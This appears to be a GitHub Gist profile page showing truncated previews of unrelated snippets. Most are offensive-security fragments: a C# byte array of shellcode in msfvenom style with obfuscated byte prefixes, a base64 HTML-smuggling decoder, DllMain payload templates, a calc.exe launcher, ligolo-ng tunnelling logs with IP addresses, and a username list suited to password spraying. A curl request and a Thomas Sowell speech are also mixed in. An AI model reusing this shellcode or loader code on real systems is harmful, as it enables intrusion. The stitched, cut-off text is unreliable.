Skip to content

Instantly share code, notes, and snippets.

View justaguywhocodes's full-sized avatar

Toussaint Louverture justaguywhocodes

View GitHub Profile
<html>
<body>
}
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i);
return bytes.buffer;
Here's the DLL code modified to work as C++ (.cpp file). The changes are minimal since the Windows API is C-based, but I'll add some C++ style and error handling:
```cpp
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
Here's a simple C program that launches calc.exe using the Windows API:
```c
#include <windows.h>
int main() {
// Use ShellExecute to launch calculator
HINSTANCE result = ShellExecuteA(NULL, "open", "calc.exe", NULL, NULL, SW_SHOW);
// Check if the execution was successful
ligolo-ng » 2025/03/19 18:28:07 [ERR] yamux: Invalid protocol version: 71
2025/03/19 18:28:07 [ERR] yamux: Failed to write header: write tcp 10.0.0.4:443->170.19.103.137:37608: use of closed network connection
ERRO[0040] could not register agent, error: session shutdown
2025/03/19 18:28:14 [ERR] yamux: Invalid protocol version: 71
2025/03/19 18:28:14 [ERR] yamux: Failed to write header: write tcp 10.0.0.4:443->170.19.103.137:15224: use of closed network connection
ERRO[0047] could not register agent, error: session shutdown
2025/03/19 18:28:19 [ERR] yamux: Invalid protocol version: 71
ERRO[0052] could not register agent, error: EOF
2025/03/19 18:28:25 [ERR] yamux: Invalid protocol version: 71
ERRO[0057] could not register agent, error: EOF
ligolo-ng » 2025/03/19 18:18:40 [ERR] yamux: Invalid protocol version: 71
ERRO[0003] could not register agent, error: EOF
2025/03/19 18:18:45 [ERR] yamux: Invalid protocol version: 71
ERRO[0008] could not register agent, error: EOF
2025/03/19 18:18:50 [ERR] yamux: Invalid protocol version: 71
ERRO[0013] could not register agent, error: session shutdown
2025/03/19 18:18:57 [ERR] yamux: Invalid protocol version: 71
ERRO[0020] could not register agent, error: EOF
2025/03/19 18:19:02 [ERR] yamux: Invalid protocol version: 71
ERRO[0025] could not register agent, error: session shutdown
byte[] buf = new byte[279] {jxfc,jx48,jx83,jxe4,jxf0,jxe8,
jxc0,jx00,jx00,jx00,jx41,jx51,jx41,jx50,jx52,jx51,jx56,jx48,
jx31,jxd2,jx65,jx48,jx8b,jx52,jx60,jx48,jx8b,jx52,jx18,jx48,
jx8b,jx52,jx20,jx48,jx8b,jx72,jx50,jx48,jx0f,jxb7,jx4a,jx4a,
jx4d,jx31,jxc9,jx48,jx31,jxc0,jxac,jx3c,jx61,jx7c,jx02,jx2c,
jx20,jx41,jxc1,jxc9,jx0d,jx41,jx01,jxc1,jxe2,jxed,jx52,jx41,
jx51,jx48,jx8b,jx52,jx20,jx8b,jx42,jx3c,jx48,jx01,jxd0,jx8b,
jx80,jx88,jx00,jx00,jx00,jx48,jx85,jxc0,jx74,jx67,jx48,jx01,
jxd0,jx50,jx8b,jx48,jx18,jx44,jx8b,jx40,jx20,jx49,jx01,jxd0,
jxe3,jx56,jx48,jxff,jxc9,jx41,jx8b,jx34,jx88,jx48,jx01,jxd6,
a.abbott
b.abbott
c.abbott
d.abbott
e.abbott
f.abbott
g.abbott
h.abbott
i.abbott
j.abbott
curl 'https://thevanillaprepaid.com/' \
-H 'Host: thevanillaprepaid.com' \
-H 'Sec-Fetch-Site: cross-site' \
-H 'Connection: keep-alive' \
-H 'Sec-Fetch-Mode: navigate' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1' \
-H 'Referer: https://www.google.com/' \
-H 'Sec-Fetch-Dest: document' \
-H 'Accept-Language: en-CA,en-US;q=0.9,en;q=0.8'
#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_PROCESS_DETACH: {
HANDLE hFile;
DWORD bytesWritten;
char *filename = "example.txt";
Ladies and Gentlemen,
I want to share with you the profound insights of Thomas Sowell, whose work is not only relevant to our current discussions on identity politics but also offers a compelling perspective on free markets as a reflection of collective human judgment. Born in 1930, Sowell's journey from adversity to academia is as inspiring as his ideas.
In a world where identity politics often dominates, Sowell provides a counter-narrative by emphasizing the power of free markets, where individual preferences and choices shape outcomes without centralized control. Here are some of his quotes that illustrate his sharp wit and his focus on the trade-offs in economic and social policy:
- **On Economic Trade-offs:** "There are no solutions. There are only trade-offs." This reminds us that in our workplaces, as in markets, every decision involves balancing gains against losses.
- **On Free Markets:** "The first lesson of economics is scarcity: there is never enough of anything to fully satisfy all those who